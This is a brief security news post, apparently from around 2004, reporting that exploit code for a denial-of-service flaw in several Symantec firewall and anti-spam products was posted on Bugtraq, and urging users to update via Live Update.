Exploit code for Symantec Multiple Firewall DNS Response DOS Released
Code exploiting the recently published vulnerability ( http://www.eeye.com/html/Research/Advisories/AD20040512B.html ) in some of Symantec's security products (Norton Internet Security, Norton Personal Firewall, and Norton Anti-Spam) has been posted on Bugtraq. This vulnerability does not provide a remote shell, but is a Denial-of-Service attack.
Again, if you run these products, please update them using Live Update. We predict that it's only a matter of time before we see a "Witty"-like worm in the wild.
